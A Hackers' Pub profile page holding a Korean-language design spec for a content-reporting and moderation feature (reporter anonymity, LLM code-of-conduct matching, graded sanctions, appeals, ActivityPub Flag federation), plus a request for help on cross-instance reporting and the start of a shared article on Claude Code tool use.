Profile img

Hi, I'm who's behind Fedify, Hollo, BotKit, and this website, Hackers' Pub! My main account is at @hongminhee洪 民憙 (Hong Minhee) :nonbinary:.

Fedify, Hollo, BotKit, 그리고 보고 계신 이 사이트 Hackers' Pub을 만들고 있습니다. 제 메인 계정은: @hongminhee洪 民憙 (Hong Minhee) :nonbinary:.

FedifyHolloBotKit、そしてこのサイト、Hackers' Pubを作っています。私のメインアカウントは「@hongminhee洪 民憙 (Hong Minhee) :nonbinary:」に。

Website
hongminhee.org
GitHub
@dahlia
Hollo
@hongminhee@hollo.social
DEV
@hongminhee
velog
@hongminhee
Qiita
@hongminhee
Zenn
@hongminhee
Matrix
@hongminhee:matrix.org
X
@hongminhee

신고 기능의 대략적인 기획을 만들어 보았습니다. 여러분들의 의견을 통해 여러 차례 개정한 뒤 실제 구현에 들어가도록 하겠습니다.

6

Hackers' Pub 신고(flag) 기능 기획서

洪 民憙 (Hong Minhee) @hongminhee@hackers.pub

개요

목적

신고 기능은 Hackers' Pub 커뮤니티의 행동 강령(code of conduct)을 위반하는 콘텐츠나 사용자를 식별하고, 관리자가 적절한 조치를 취할 수 있도록 돕는 시스템입니다.

핵심 철학

신고 기능의 궁극적인 목적은 계도와 성장입니다. 무균실처럼 완벽한 사용자만을 남기려는 것이 아니라, 신고를 통해 각자의 행동을 돌아보고 더 나은 커뮤니티 구성원으로 성장할 수 있는 기회를 제공하는 데 있습니다.

추방은 최후의 수단이며, 시스템은 다음과 같은 단계적 접근을 권장합니다:

  1. 인지 — 피신고자가 자신의 행동이 문제가 될 수 있음을 알게 됩니다
  2. 성찰 — 왜 그 행동이 문제인지 이해할 기회를 갖습니다
  3. 개선 — 행동을 수정하고 커뮤니티와 조화롭게 참여합니다
  4. 제재 — 개선 의지가 없거나 심각한 위반의 경우에만 적용됩니다

분산형 네트워크 고려

Hackers' Pub은 ActivityPub 프로토콜 기반의 분산형 소셜 네트워크입니다. 따라서 신고 기능도 다음을 고려하여 설계되었습니다:

  • 다른 서버(인스턴스)에 호스팅된 콘텐츠도 신고 가능
  • Mastodon 등 주요 ActivityPub 플랫폼과의 호환성
  • 연합(federation) 환경에서의 조치 전파

설계 원칙

신고자 보호

원칙
신고자의 신원은 철저히 비공개로 유지됩니다.
근거
신고자가 보복을 두려워하면 신고를 주저하게 되고, 이는 커뮤니티 건강성을 해칠 수 있습니다. 익명성이 보장되어야 신고 시스템이 효과적으로 작동합니다.
구현
  • 피신고자에게는 신고 사실과 사유만 전달되며, 신고자 정보는 공개되지 않습니다
  • 관리자만 신고자 정보에 접근할 수 있습니다
  • 데이터베이스 수준에서도 접근 제어가 적용됩니다

피신고자의 알 권리

원칙
피신고자는 자신이 왜 신고되었는지 알 권리가 있습니다.
근거
무엇이 문제인지 알지 못하면 개선할 수 없습니다. 계도라는 목적을 달성하려면 피신고자가 자신의 행동을 돌아볼 수 있는 충분한 정보를 제공해야 합니다.
구현
  • 신고 사유(행동 강령 위반 내용)가 피신고자에게 전달됩니다
  • 어떤 콘텐츠가 문제가 되었는지 명시됩니다
  • 단, 신고자가 누구인지는 알 수 없습니다

행동 강령의 유연한 참조

원칙
행동 강령은 살아있는 문서이며, 시간이 지남에 따라 발전하고 변화할 수 있습니다.
근거
커뮤니티가 성장하고 사회적 맥락이 변화함에 따라 행동 강령도 함께 진화해야 합니다. 신고 시스템은 이러한 변화에 유연하게 대응할 수 있어야 합니다.
구현
  • 신고 사유를 특정 조항 번호에 하드코딩하지 않습니다
  • 신고 시점의 행동 강령 버전을 기록하여 맥락을 보존합니다
  • LLM 매칭 시 현재 행동 강령 전문을 참조하여 동적으로 분석합니다
  • 신고자가 작성한 원본 사유는 항상 보존됩니다

투명한 처리 과정

원칙
신고의 처리 과정과 결과는 관련 당사자에게 투명하게 공유됩니다.
근거
신고자는 자신의 신고가 어떻게 처리되었는지 알 권리가 있으며, 피신고자도 어떤 조치가 취해졌는지 알아야 합니다.
구현
  • 신고자에게 처리 진행 상황과 최종 결과가 통보됩니다
  • 피신고자에게 조치 내용과 사유가 전달됩니다
  • 관리자의 판단 근거가 기록됩니다

단계적 제재

원칙
제재는 위반의 심각성과 빈도에 비례하여 단계적으로 적용됩니다.
근거
경미한 위반에 과도한 제재를 가하면 커뮤니티 참여를 위축시키고, 심각한 위반에 가벼운 제재를 가하면 커뮤니티 안전을 해칩니다.
구현
  • 경고 → 콘텐츠 검열 → 일시 정지 → 영구 정지의 단계적 체계
  • 위반 이력이 누적되어 다음 제재 수준에 반영됩니다
  • 심각한 위반은 단계를 건너뛰고 즉각적인 강력한 조치 가능

용어 정의

용어 정의
신고(flag/report) 행동 강령 위반으로 의심되는 콘텐츠나 사용자를 관리자에게 알리는 행위
신고자(reporter) 신고를 제출하는 사용자
피신고자(reported) 신고의 대상이 되는 사용자
신고 대상(target) 신고된 콘텐츠(게시글, 단문) 또는 사용자
관리자(moderator) 신고를 검토하고 조치를 취할 권한이 있는 사용자
조치(action) 관리자가 신고에 대해 취하는 결정 (기각, 경고, 검열, 정지 등)
이의 제기(appeal) 피신고자가 조치에 대해 재검토를 요청하는 행위
로컬 사용자 Hackers' Pub에 계정이 있는 사용자
원격 사용자 다른 ActivityPub 인스턴스의 사용자

신고 대상

콘텐츠 신고

사용자는 다음 유형의 콘텐츠를 개별적으로 신고할 수 있습니다:

게시글(article) 신고

대상
장문의 블로그 형식 게시글
표시 위치
게시글 하단 또는 더보기 메뉴에 “신고하기” 옵션
신고 시 수집 정보
  • 게시글 ID 및 영구 링크
  • 게시글 작성자 정보
  • 신고 시점의 게시글 내용 스냅샷 (증거 보존)
  • 신고자가 작성한 사유

단문(note) 신고

대상
짧은 마이크로블로그 형식 글
표시 위치
단문의 더보기 메뉴에 “신고하기” 옵션
신고 시 수집 정보
게시글과 동일

사용자 신고

특정 사용자의 전반적인 행동 패턴이 문제가 되는 경우, 개별 콘텐츠가 아닌 사용자 자체를 신고할 수 있습니다.

사용 시나리오
  • 여러 콘텐츠에 걸쳐 지속적으로 문제 행동을 보이는 경우
  • 개별 콘텐츠는 경계선상에 있지만, 전체적인 패턴이 문제인 경우
  • 프로필 자체(이름, 약력, 프로필 사진 등)가 행동 강령을 위반하는 경우
표시 위치
사용자 프로필 페이지의 더보기 메뉴에 “사용자 신고하기” 옵션
신고 시 수집 정보
  • 사용자 ID 및 프로필 링크
  • 신고 시점의 프로필 정보 스냅샷
  • 신고자가 작성한 사유
  • (선택) 관련 콘텐츠 링크 첨부 가능

원격 콘텐츠 및 사용자

다른 ActivityPub 인스턴스의 콘텐츠와 사용자도 동일하게 신고할 수 있습니다.

근거
연합 타임라인에 표시되는 모든 콘텐츠는 Hackers' Pub 사용자에게 영향을 미치므로, 원격 콘텐츠도 신고 대상이 되어야 합니다.
처리 방식
  • Hackers' Pub 내에서의 표시/연합 여부에 대한 조치
  • 원격 인스턴스로 ActivityPub Flag 액티비티 전송 (선택적)

신고 프로세스

신고 흐름도

flag_process start 사용자가 콘텐츠/사용자 신고 클릭 form 신고 양식 표시 start->form reason 사유 작성 (자유 형식) form->reason submit 신고 제출 reason->submit llm LLM이 사유를 분석 submit->llm coc 행동 강령 조항 매칭 llm->coc save 신고 저장 (대기 상태) llm->save notify_mod 관리자에게 알림 발송 save->notify_mod notify_reporter 신고자에게 접수 확인 notify_mod->notify_reporter

신고 양식

신고 양식은 간결하면서도 필요한 정보를 수집할 수 있도록 설계됩니다.

필수 입력 항목

신고 사유 (자유 형식 텍스트)

이 콘텐츠/사용자를 신고하는 이유를 설명해 주세요.
구체적인 행동 강령 조항을 알지 못해도 괜찮습니다.
어떤 점이 불편하거나 문제가 된다고 느꼈는지
자유롭게 작성해 주세요.

[                                        ]
[                                        ]
[                                        ]

최소 10자 이상 작성해 주세요.

근거:

  • 사용자가 행동 강령의 모든 조항을 숙지하고 있다고 가정하지 않습니다
  • 자유 형식으로 작성하면 더 풍부한 맥락을 수집할 수 있습니다
  • LLM이 사유를 분석하여 관련 조항을 자동으로 매칭합니다

선택 입력 항목

추가 콘텐츠 링크 (사용자 신고 시)

관련된 다른 콘텐츠가 있다면 링크를 추가해 주세요. (선택)

[링크 추가 +]

근거: 사용자 신고의 경우, 문제 행동의 패턴을 보여주는 여러 콘텐츠를 함께 제출하면 관리자가 더 정확한 판단을 내릴 수 있습니다.

LLM 기반 행동 강령 매칭

신고가 제출되면 LLM이 신고 사유를 분석하여 관련된 행동 강령 조항을 식별합니다.

매칭 프로세스

  1. 입력 구성

    • 신고자가 작성한 사유 텍스트
    • 현재 버전의 행동 강령 전문
    • 신고된 콘텐츠 내용 (있는 경우)
  2. LLM 분석

    • 신고 사유와 행동 강령 조항 간의 관련성 분석
    • 관련 조항 식별 및 신뢰도 점수 산출
    • 분석 요약 생성
  3. 결과 저장

    • 매칭된 조항 목록 (신뢰도 점수 포함)
    • LLM 분석 요약
    • 신고 시점의 행동 강령 버전 식별자

행동 강령 버전 관리

근거
행동 강령이 변경되면 과거 신고의 맥락이 불명확해질 수 있습니다. 따라서 신고 시점의 행동 강령 버전을 기록하여 맥락을 보존합니다.
구현 방식
  • 행동 강령 파일의 Git 커밋 해시를 버전 식별자로 사용
  • 신고 기록에 버전 식별자 저장
  • 관리자가 신고를 검토할 때 해당 버전의 행동 강령 참조 가능

매칭 결과 활용

관리자 검토
매칭 결과는 관리자의 참고 자료로 활용됩니다
최종 판단
관리자가 매칭 결과를 수정하거나 무시할 수 있습니다
피신고자 통보
최종 확정된 위반 조항이 피신고자에게 전달됩니다

중복 신고 처리

같은 콘텐츠나 사용자에 대해 여러 신고가 접수될 수 있습니다.

처리 방식
  • 동일 대상에 대한 신고는 하나의 “신고 케이스”로 그룹화됩니다
  • 각 신고의 사유는 개별적으로 보존됩니다
  • 관리자에게는 신고 건수와 함께 표시됩니다
  • 신고 건수가 많을수록 우선순위가 높아집니다
근거
  • 여러 사람이 독립적으로 같은 문제를 발견했다면 더 심각한 문제일 가능성이 높습니다
  • 다양한 관점의 신고 사유를 종합하면 더 정확한 판단이 가능합니다

신고 내역 조회

신고자는 자신이 제출한 신고의 상태를 확인할 수 있습니다.

확인 가능한 정보
  • 신고 대상 (콘텐츠/사용자)
  • 신고 일시
  • 자신이 작성한 신고 사유
  • 처리 상태 (대기 중 / 검토 중 / 처리 완료)
  • 처리 결과 (조치됨 / 기각됨)
확인 불가능한 정보
  • 다른 신고자의 존재 여부
  • 구체적인 제재 내용 (프라이버시 보호)
  • 피신고자의 이의 제기 내용

관리자 처리 프로세스

신고 검토 흐름도

moderation_process cluster_review 콘텐츠/사용자 검토 pending 신고 접수 (대기 상태) check 관리자가 신고 확인 pending->check reviewing 검토 시작 (검토 중) check->reviewing review1 신고된 콘텐츠 확인 review2 신고 사유 검토 review3 LLM 매칭 결과 참고 review4 사용자 이력 확인 review5 맥락 파악 decision 판단 결정 review5->decision dismiss 기각 decision->dismiss warn 경고 decision->warn action 제재 decision->action notify 조치 기록 및 알림 - 신고자에게 결과 통보 - 피신고자에게 조치 통보 - (필요시) 원격 서버 통보 dismiss->notify warn->notify action->notify

신고 상태

상태 설명
pending 신고가 접수되어 검토 대기 중
reviewing 관리자가 검토 중
resolved 처리 완료 (조치됨)
dismissed 기각됨 (위반 아님)

검토 시 확인 사항

관리자는 다음 정보를 종합적으로 검토합니다:

신고 정보

  • 신고자가 작성한 사유
  • LLM이 매칭한 행동 강령 조항
  • 신고 건수 (중복 신고의 경우)
  • 각 신고자의 사유 (중복 신고의 경우)

콘텐츠 정보

  • 신고된 콘텐츠 원문
  • 콘텐츠의 맥락 (댓글 스레드 등)
  • 신고 시점의 스냅샷 (수정/삭제된 경우)

사용자 정보

  • 피신고자의 이전 위반 이력
  • 이전 경고/제재 기록
  • 계정 생성일 및 활동 기간
  • 로컬/원격 사용자 여부

조치 옵션

관리자는 다음 조치 중 하나를 선택합니다:

조치 설명 적용 기준
기각 위반이 아니라고 판단 행동 강령 위반 사실이 없는 경우
경고 경고 메시지 발송 경미한 위반, 초범인 경우
콘텐츠 검열 해당 콘텐츠 숨김 처리 콘텐츠 자체가 문제인 경우
일시 정지 일정 기간 계정 정지 반복 위반 또는 중간 수준의 위반
영구 정지 계정 영구 정지 심각한 위반 또는 지속적 악의적 행동

조치 시 필수 입력 사항

관리자가 조치를 취할 때 다음을 기록해야 합니다:

위반 조항 (최종 확정):
[행동 강령 내 관련 조항 선택/입력]

조치 사유:
[관리자의 판단 근거를 상세히 기술]

피신고자에게 전달할 메시지:
[피신고자가 받을 통보 내용]

(일시 정지의 경우) 정지 기간:
[시작일] – [종료일]

근거:

  • 조치의 투명성을 확보합니다
  • 이의 제기 시 검토 자료로 활용됩니다
  • 일관된 판단 기준을 유지하는 데 도움이 됩니다

피신고자 프로세스

신고 통보

피신고자는 자신이 신고되었다는 사실과 사유를 알림으로 받습니다.

통보 시점

즉시 통보하지 않는 경우:

  • 신고 접수 직후에는 피신고자에게 통보하지 않습니다
  • 무분별한 신고로 인한 불필요한 스트레스 방지

통보하는 경우:

  • 관리자가 신고를 검토하고 조치를 결정한 후 통보합니다
  • 기각된 경우에도 교육적 목적으로 통보할 수 있습니다 (관리자 재량)

통보 내용

경고/제재 시:

귀하의 [콘텐츠/계정]에 대해 신고가 접수되어 검토한 결과,
행동 강령 위반으로 판단되어 다음과 같은 조치가 취해졌습니다.

위반 내용:
[행동 강령의 관련 조항]

대상 콘텐츠:
[해당되는 경우 콘텐츠 링크]

조치:
[경고 / 콘텐츠 검열 / N일 정지 / 영구 정지]

관리자 메시지:
[관리자가 작성한 설명]

이 조치에 대해 이의가 있으시면 아래 버튼을 통해
이의 제기를 하실 수 있습니다.

[이의 제기하기]

기각 통보 시 (선택적):

귀하의 [콘텐츠/계정]에 대해 신고가 접수되었으나,
검토 결과 행동 강령 위반에 해당하지 않는다고 판단되었습니다.

다만, 일부 커뮤니티 구성원이 불편함을 느꼈을 수 있으므로
참고해 주시면 감사하겠습니다.

관련 내용:
[간략한 설명]

피신고자가 확인할 수 있는 정보

정보 확인 가능 여부
신고된 사실 가능
위반으로 지적된 행동 강령 조항 가능
대상 콘텐츠 가능
조치 내용 및 기간 가능
관리자의 판단 사유 가능
신고자가 누구인지 불가능
신고자가 작성한 원본 사유 불가능
신고 건수 불가능

근거: 피신고자에게 개선에 필요한 정보는 모두 제공하되, 신고자를 특정할 수 있는 정보는 철저히 보호합니다.

제재 중 제한 사항

콘텐츠 검열

  • 해당 콘텐츠가 타임라인과 검색에서 숨겨집니다
  • 직접 링크(퍼머링크)로는 접근 가능하지만, 검열 안내가 표시됩니다
  • 작성자 본인은 콘텐츠를 볼 수 있습니다

일시 정지

  • 새로운 콘텐츠 작성 불가
  • 댓글 작성 불가
  • 반응 불가
  • 팔로/언팔로 불가
  • 기존 콘텐츠 열람은 가능
  • DM 수신은 가능하나 발신 불가

영구 정지

  • 계정 접근 불가
  • 모든 기능 사용 불가
  • 기존 콘텐츠는 숨김 처리됨

이의 제기 프로세스

이의 제기 자격

  • 조치를 받은 피신고자만 이의 제기 가능
  • 하나의 조치에 대해 1회의 이의 제기 가능
  • 이의 제기 기한: 조치 통보 후 14일 이내

이의 제기 흐름도

appeal_process start 피신고자가 이의 제기 write 이의 내용 작성 start->write submit 이의 제출 write->submit review 관리자 검토 (다른 관리자 권장) submit->review decision 판단 review->decision reject 기각 decision->reject uphold 조치 유지 decision->uphold modify 조치 변경 decision->modify notify 결과 통보 (피신고자, 원신고자) reject->notify uphold->notify modify->notify

이의 제기 양식

이의 제기 사유:
[왜 이 조치가 부당하다고 생각하시는지 설명해 주세요]

추가 맥락 또는 증거:
[조치 결정 시 고려되지 않았다고 생각되는
맥락이나 정보가 있다면 제공해 주세요]

[제출]

이의 제기 검토

검토 원칙
  • 가능하면 원래 조치를 결정한 관리자가 아닌 다른 관리자가 검토합니다
  • 원 신고 내용, 조치 사유, 이의 제기 내용을 종합적으로 검토합니다
  • 새로운 정보나 맥락이 있는지 확인합니다
결정 옵션
  • 이의 기각: 원 조치 유지
  • 조치 완화: 더 가벼운 조치로 변경 (예: 정지 → 경고)
  • 조치 철회: 조치 취소 및 기록 정정
  • 조치 강화: 드문 경우, 이의 제기 과정에서 더 심각한 위반이 발견된 경우

결과 통보

피신고자에게:

귀하의 이의 제기를 검토한 결과를 알려드립니다.

결정: [이의 기각 / 조치 완화 / 조치 철회]

판단 사유:
[관리자의 검토 결과 설명]

(해당 시) 변경된 조치:
[새로운 조치 내용]

원 신고자에게:

귀하가 신고하신 건에 대해 피신고자로부터
이의 제기가 있어 재검토가 진행되었습니다.

재검토 결과: [원 조치 유지 / 조치 변경]

(조치가 변경된 경우)
변경 사유에 대한 간략한 설명:
[설명]

패널티 체계

패널티 종류 및 기준

경고 (warning)

설명
위반 사실을 알리고 재발 방지를 요청하는 가장 가벼운 조치입니다.
적용 기준
  • 경미한 행동 강령 위반
  • 초범이며 악의가 없어 보이는 경우
  • 실수나 무지로 인한 위반으로 판단되는 경우
효과
  • 경고 메시지가 발송됩니다
  • 경고 이력이 기록되어 향후 판단에 참고됩니다
  • 일정 기간(예: 1년) 경과 후 이력에서 제외될 수 있습니다
경고 누적
  • 경고 3회 누적 시 자동으로 더 강한 조치 검토 대상이 됩니다
  • 단, 자동 제재는 없으며 관리자의 판단이 필요합니다

콘텐츠 검열 (content censorship)

설명
특정 콘텐츠를 공개 영역에서 숨기는 조치입니다.
적용 기준
  • 콘텐츠 자체가 행동 강령을 위반하는 경우
  • 사용자의 전반적 행동보다 특정 콘텐츠가 문제인 경우
효과
  • 해당 콘텐츠가 타임라인, 검색, 추천에서 제외됩니다
  • 퍼머링크는 유지되나, 접근 시 검열 안내가 표시됩니다
  • 연합(federation)으로 다른 서버에 Delete 액티비티가 전송될 수 있습니다

검열 콘텐츠 표시

이 콘텐츠는 행동 강령 위반으로 검열되었습니다.
[원문 보기] (클릭 시 경고와 함께 표시)

일시 정지 (temporary suspension)

설명
일정 기간 동안 계정 활동을 제한하는 조치입니다.
적용 기준
  • 경고에도 불구하고 위반이 반복되는 경우
  • 중간 수준의 심각한 위반인 경우
  • 즉각적인 활동 중단이 필요하지만 영구 정지까지는 아닌 경우
정지 기간
  • 최소 1일 – 최대 90일
  • 관리자가 위반 정도에 따라 결정
  • 권장 기준:
    • 경미한 반복 위반: 1–7일
    • 중간 수준 위반: 7–30일
    • 심각한 위반 (초범): 30–90일
효과
  • 새 콘텐츠 작성 불가
  • 상호작용(반응, 댓글 등) 불가
  • 기존 콘텐츠 열람은 가능
  • 정지 해제 시 완전한 기능 복구
원격 사용자의 경우
  • Hackers' Pub 내에서 해당 기간 동안 연합 차단
  • 원격 서버 관리자에게 ActivityPub Flag 액티비티로 통보

영구 정지 (permanent suspension)

설명
계정을 영구적으로 비활성화하는 가장 강력한 조치입니다.
적용 기준
  • 매우 심각한 행동 강령 위반 (혐오 발언, 불법 콘텐츠 등)
  • 일시 정지 후에도 동일한 위반이 반복되는 경우
  • 명백한 악의를 가지고 커뮤니티를 해치려는 의도가 확인된 경우
효과
  • 계정 로그인 불가
  • 모든 기능 사용 불가
  • 공개 콘텐츠 숨김 처리
  • 프로필 페이지에 정지 안내 표시
원격 사용자의 경우
  • Hackers' Pub과의 영구적 연합 차단
  • 원격 서버 관리자에게 ActivityPub Flag 액티비티로 통보
복구
  • 원칙적으로 영구 정지는 복구되지 않습니다
  • 극히 예외적인 경우, 충분한 시간 경과 후 재심 요청 가능

패널티 이력 관리

패널티 이력 보존 기간 비고
경고 1년 1년간 추가 위반 없으면 이력에서 제외
콘텐츠 검열 무기한 콘텐츠 존재하는 한 유지
일시 정지 무기한 기록은 유지, 판단 시 경과 시간 고려
영구 정지 무기한 -

ActivityPub 연합 처리

개요

Hackers' Pub은 ActivityPub 프로토콜을 사용하는 분산형 네트워크의 일부입니다. 신고 기능도 이 환경에서 원활히 작동해야 합니다.

Flag 액티비티

ActivityPub 명세에는 Flag 액티비티가 정의되어 있으며, 이를 통해 신고를 연합 네트워크에 전파할 수 있습니다.

Flag 액티비티 구조:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Flag",
  "actor": "https://hackerspub.example/users/moderator",
  "object": [
    "https://remote.example/users/reported_user",
    "https://remote.example/posts/problematic_post"
  ],
  "content": "Violation of Code of Conduct: harassment"
}

원격 콘텐츠 신고 처리

신고 접수

  1. 로컬 사용자가 원격 콘텐츠/사용자를 신고합니다
  2. 신고는 Hackers' Pub 데이터베이스에 저장됩니다
  3. 관리자가 일반 신고와 동일하게 검토합니다

조치 적용

  1. Hackers' Pub 내 조치:

    • 해당 콘텐츠의 로컬 캐시 숨김/삭제
    • 해당 사용자와의 연합 차단 (일시/영구)
  2. 원격 서버 통보 (선택적):

    • Flag 액티비티를 원격 서버에 전송
    • 원격 서버의 조치 여부는 해당 서버의 재량

외부에서 받은 Flag 처리

다른 서버에서 Hackers' Pub으로 Flag 액티비티가 전송된 경우:

  1. Flag 액티비티 수신 및 파싱
  2. 신고 대상이 로컬 사용자/콘텐츠인지 확인
  3. 관리자에게 외부 신고로 표시하여 알림
  4. 관리자가 검토 후 자체 판단에 따라 조치

외부 신고 표시:

[외부 신고] remote.example에서 접수됨

대상: @localuser의 콘텐츠
사유: "Violation of our community guidelines"

* 이 신고는 외부 서버에서 접수되었습니다.
  자체 행동 강령에 따라 판단해 주세요.

Mastodon 호환성

Mastodon은 가장 널리 사용되는 ActivityPub 구현체입니다. Mastodon과의 호환성을 위해 다음을 고려합니다:

  • Mastodon의 Flag 액티비티 형식 지원
  • Mastodon 관리자 API와의 연동 고려 (향후)
  • Mastodon에서 보내는 신고 수신 및 처리

알림 체계

알림 유형

알림 유형 수신자 내용
flag_received 관리자 새 신고 접수됨
flag_resolved 신고자 신고 처리 완료됨
action_taken 피신고자 조치가 취해짐
appeal_received 관리자 이의 제기 접수됨
appeal_resolved 피신고자 이의 제기 처리 완료됨
appeal_result 신고자 이의 제기로 인한 변경 알림
suspension_ending 피신고자 정지 해제 임박 알림

알림 채널

인앱 알림
기본 알림 방식
이메일
중요 알림 (조치, 정지 등)
ActivityPub
원격 사용자의 경우 해당 서버로 전송

프라이버시 및 보안

신고자 익명성 보호

원칙
신고자의 신원은 피신고자에게 절대 공개되지 않습니다.
기술적 조치
  • API 응답에서 신고자 정보 필터링
  • 관리자 UI에서만 신고자 정보 표시
  • 로그에서 신고자 정보 마스킹 (필요시)

데이터 접근 제어

역할 접근 가능 정보
일반 사용자 자신의 신고 내역만
피신고자 자신에 대한 조치 및 사유 (신고자 정보 제외)
관리자 모든 신고 정보 (신고자 정보 포함)

콘텐츠 스냅샷

신고 시점의 콘텐츠를 스냅샷으로 저장하는 이유:

  • 피신고자가 콘텐츠를 수정/삭제해도 원본 증거 보존
  • 공정한 판단을 위한 기록 유지
  • 이의 제기 시 참고 자료로 활용
보존 기간
  • 케이스 종료 후 최소 1년간 보존
  • 법적 요구사항이 있는 경우 더 오래 보존

악용 방지

허위 신고 방지
  • 동일 사용자의 동일 대상 반복 신고 제한
  • 허위 신고 시 신고자에 대한 제재 가능
  • 신고 패턴 모니터링
신고 폭주 방지
  • 단시간 다수 신고 시 속도 제한
  • 관리자에게 이상 패턴 경고

관리자 대시보드

대시보드 개요

관리자 대시보드는 신고 관리의 중심 허브입니다.

주요 화면
  1. 대기 중인 신고 목록
  2. 신고 상세 및 처리 화면
  3. 이의 제기 목록
  4. 통계 및 분석
  5. 제재 중인 사용자 목록

신고 목록 화면

┌─────────────────────────────────────────────────────────┐
│  신고 관리                                    [통계 보기] │
├─────────────────────────────────────────────────────────┤
│  필터: [전체 ▼] [대기 중 ▼] [최신순 ▼]      검색: [____]│
├─────────────────────────────────────────────────────────┤
│                                                         │
│  ⚠️ 높은 우선순위 (신고 5건 이상)                        │
│  ┌─────────────────────────────────────────────────┐   │
│  │ 🔴 @user123의 콘텐츠 (신고 7건)                 │   │
│  │    "혐오 발언", "차별적 표현" 외 5건             │   │
│  │    최초 신고: 2시간 전                          │   │
│  └─────────────────────────────────────────────────┘   │
│                                                         │
│  일반 신고                                              │
│  ┌─────────────────────────────────────────────────┐   │
│  │ 🟡 @remote@other.server 사용자 (신고 2건)       │   │
│  │    "스팸 행위"                                  │   │
│  │    최초 신고: 5시간 전                          │   │
│  └─────────────────────────────────────────────────┘   │
│  ┌─────────────────────────────────────────────────┐   │
│  │ 🟢 @newuser의 댓글 (신고 1건)                   │   │
│  │    "부적절한 언어 사용"                         │   │
│  │    신고: 1일 전                                 │   │
│  └─────────────────────────────────────────────────┘   │
│                                                         │
└─────────────────────────────────────────────────────────┘

신고 상세 화면

┌─────────────────────────────────────────────────────────┐
│  신고 상세 - 케이스 #12345                    [← 목록]  │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  📋 기본 정보                                           │
│  ────────────────────────────────────────               │
│  대상: @user123의 콘텐츠                                │
│  유형: 단문 (note)                                      │
│  신고 건수: 7건                                         │
│  상태: 대기 중                                          │
│                                                         │
│  📝 신고된 콘텐츠                                       │
│  ────────────────────────────────────────               │
│  ┌─────────────────────────────────────────────────┐   │
│  │ [콘텐츠 원문 표시]                              │   │
│  │ 작성일: 2024-12-01 14:30                        │   │
│  └─────────────────────────────────────────────────┘   │
│                                                         │
│  🔍 신고 사유 (7건)                                     │
│  ────────────────────────────────────────               │
│  1. "명백한 혐오 발언입니다" - 신고자A, 2시간 전        │
│  2. "특정 집단을 비하하는 표현" - 신고자B, 3시간 전     │
│  3. "불쾌한 차별적 언어" - 신고자C, 4시간 전            │
│  ... (더 보기)                                          │
│                                                         │
│  🤖 LLM 분석 결과                                       │
│  ────────────────────────────────────────               │
│  관련 행동 강령 조항:                                   │
│  - 차별 금지 (신뢰도: 95%)                              │
│  - 존중하는 언어 사용 (신뢰도: 88%)                     │
│                                                         │
│  📊 피신고자 이력                                       │
│  ────────────────────────────────────────               │
│  - 가입일: 2024-06-15                                   │
│  - 이전 경고: 1회 (2024-09-20)                          │
│  - 이전 정지: 없음                                      │
│                                                         │
│  ⚡ 조치                                                │
│  ────────────────────────────────────────               │
│  [기각] [경고] [콘텐츠 검열] [일시 정지] [영구 정지]    │
│                                                         │
└─────────────────────────────────────────────────────────┘

통계 화면

기간 선택 드롭다운으로 조회 범위를 설정합니다 (예: 최근 30일).

요약

항목
총 신고 건수 127건
처리 완료 98건 (77%)
평균 처리 시간 4.2시간

조치 분포

조치 건수 비율
기각 45건 46%
경고 38건 39%
콘텐츠 검열 10건 10%
일시 정지 4건 4%
영구 정지 1건 1%

위반 유형 (상위 5개)

순위 유형 건수
1 스팸/광고 32건
2 혐오 발언 24건
3 괴롭힘 18건
4 부적절한 콘텐츠 12건
5 허위 정보 8건

향후 고려사항

자동화 기능 (향후 도입 검토)

  • 자동 숨김: 특정 임계값 이상의 신고가 접수되면 관리자 검토 전 임시 숨김
  • AI 기반 사전 필터링: 명백한 위반 콘텐츠 자동 감지
  • 스팸 자동 처리: 명백한 스팸에 대한 자동 조치

주의

자동화 기능은 오탐의 위험이 있으므로 신중하게 도입해야 합니다.

커뮤니티 참여

  • 신뢰할 수 있는 신고자: 정확한 신고 이력을 가진 사용자의 신고에 높은 가중치
  • 커뮤니티 중재자: 관리자 부담 분산을 위한 커뮤니티 중재자 제도 검토

다국어 지원

  • 신고 사유 자동 번역 (관리자가 다른 언어 사용 시)
  • 행동 강령 다국어 버전과의 연동
  • 조치 통보 메시지 다국어 템플릿

법적 요구사항 대응

  • 법적 요청에 따른 데이터 보존/제공 절차
  • 저작권 침해 신고 (DMCA 등) 별도 처리 절차
  • 사법기관 협조 절차

부록: 용어 대조표

한국어 영어 설명
신고 flag/report 위반 의심 콘텐츠/사용자를 알림
행동 강령 code of conduct 커뮤니티 규칙
관리자 moderator 신고 처리 권한자
검열 censorship 콘텐츠 숨김 처리
정지 suspension 계정 활동 제한
이의 제기 appeal 조치에 대한 재검토 요청
연합 federation 분산 네트워크 간 연결
콘텐츠 post 게시글과 단문을 통칭
게시글 article 장문의 블로그 형식 글
단문 note 짧은 마이크로블로그 형식 글
타임라인 timeline 콘텐츠 피드
팔로 follow 다른 사용자 구독
팔로워 follower 나를 구독하는 사용자
차단 block 특정 사용자 접근 제한
반응 react 콘텐츠에 이모지로 반응
연합우주 fediverse ActivityPub 기반 분산 소셜 네트워크
인스턴스 instance 연합우주의 개별 서버

이 문서는 Hackers' Pub 커뮤니티의 의견을 수렴하여 지속적으로 개선됩니다.

Read more →
2

Calling all developers for help: I'm currently trying to implement a () feature for Hackers' Pub, an -enabled community for software engineers. Is there a formal specification for how cross-instance reporting should work in ActivityPub? Or, is there any well-documented material that explains how the major implementations handle it?

2
0
0
1
1

洪 民憙 (Hong Minhee) shared the below article:

Claude Code의 거의 모든 것은 Tool Use 입니다. MCP도 subagent도 Skills 역시요.

자손킴 @jasonkim@hackers.pub

이번 글에서는 지난글에 이어서 Claude가 도구를 사용하는 구체적인 방법을 알아본다. Claude가 사용할 수 있는 도구들의 목록은 Tools 섹션에 포함되어 있다. Tools 섹션에 대해서는 이전 글을 참고한다.

Tool Use 란?

Tool Use는 Claude가 외부 도구(함수)를 호출하여 실제 작업을 수행할 수 있게 하는 메커니즘이다. Claude는 텍스트 생성만으로는 수행할 수 없는 작업들, 예를 들어 파일 읽기, 명령어 실행, 웹 검색 등을 도구를 통해 수행한다.

Claude에게 사용 가능한 도구들의 스키마를 알려주면 Claude는 사용자의 요청을 분석하여 적절한 도구를 선택하고 필요한 파라미터와 함께 도구 사용을 요청한다. 에이전트(클라이언트)는 이 요청을 받아 실제로 도구를 실행하고 그 결과를 다시 Claude에게 전달한다.

Tools 섹션: 도구 정의하기

